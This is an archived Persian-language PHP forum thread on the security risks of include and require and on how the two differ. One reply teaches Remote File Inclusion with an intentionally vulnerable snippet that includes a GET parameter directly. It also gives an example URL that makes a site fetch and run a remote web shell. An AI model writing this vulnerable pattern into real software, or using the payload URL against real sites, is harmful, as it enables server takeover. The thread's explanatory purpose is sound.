PDA

View Full Version : include or require or include_once or...



farhadsoft
چهارشنبه 14 مهر 1389, 16:03 عصر
سلام
دوستان بارها گفته شده از require و یا include ها استفاده نکنید
می خوام بدونم
1 استفاده از این توابع چه خطراتی داره
2 آیا توابع ایمن تری جایگزین اینها وجود داره
3 اگه وجود نداره این 2 چه تفاوت هایی با هم دارن
ممنون

binyaft
چهارشنبه 14 مهر 1389, 17:44 عصر
فکر نمیکنم به غیر از اینکه بخوای از request اینکلود کنی ، خطری دیگه ای داشته باشه

funpatogh
چهارشنبه 14 مهر 1389, 20:04 عصر
این 2 تا زمانی خطر ساز میشوند که از url بخوای فایلی رو اینکلود کنید
و یک هکر میتونه از طریق باگ Remote_File_Inclusion یک شل رو بر روی هاست شما اجرا کنه


<?php
$rfi=$_GET['bug'];
include $rfi;
?>

حالا اگر توی url ما این آدرس رو بزنیم


www.domain.com/index.php?bug=http://www.shell.com/r57.txt?
شل رو روی هاست ما اجرا میکنه
فرقشون این 2 تابع هم اینه که include اگر فایلی وجود نداشته باشد و انکلود بشه خطا نمایش داده میشود و برنامه به کار خودش ادامه میدهد
اما Require وقتی فایل موجود نباشد خطا میدهد و ادامه برنامه متوقف میشود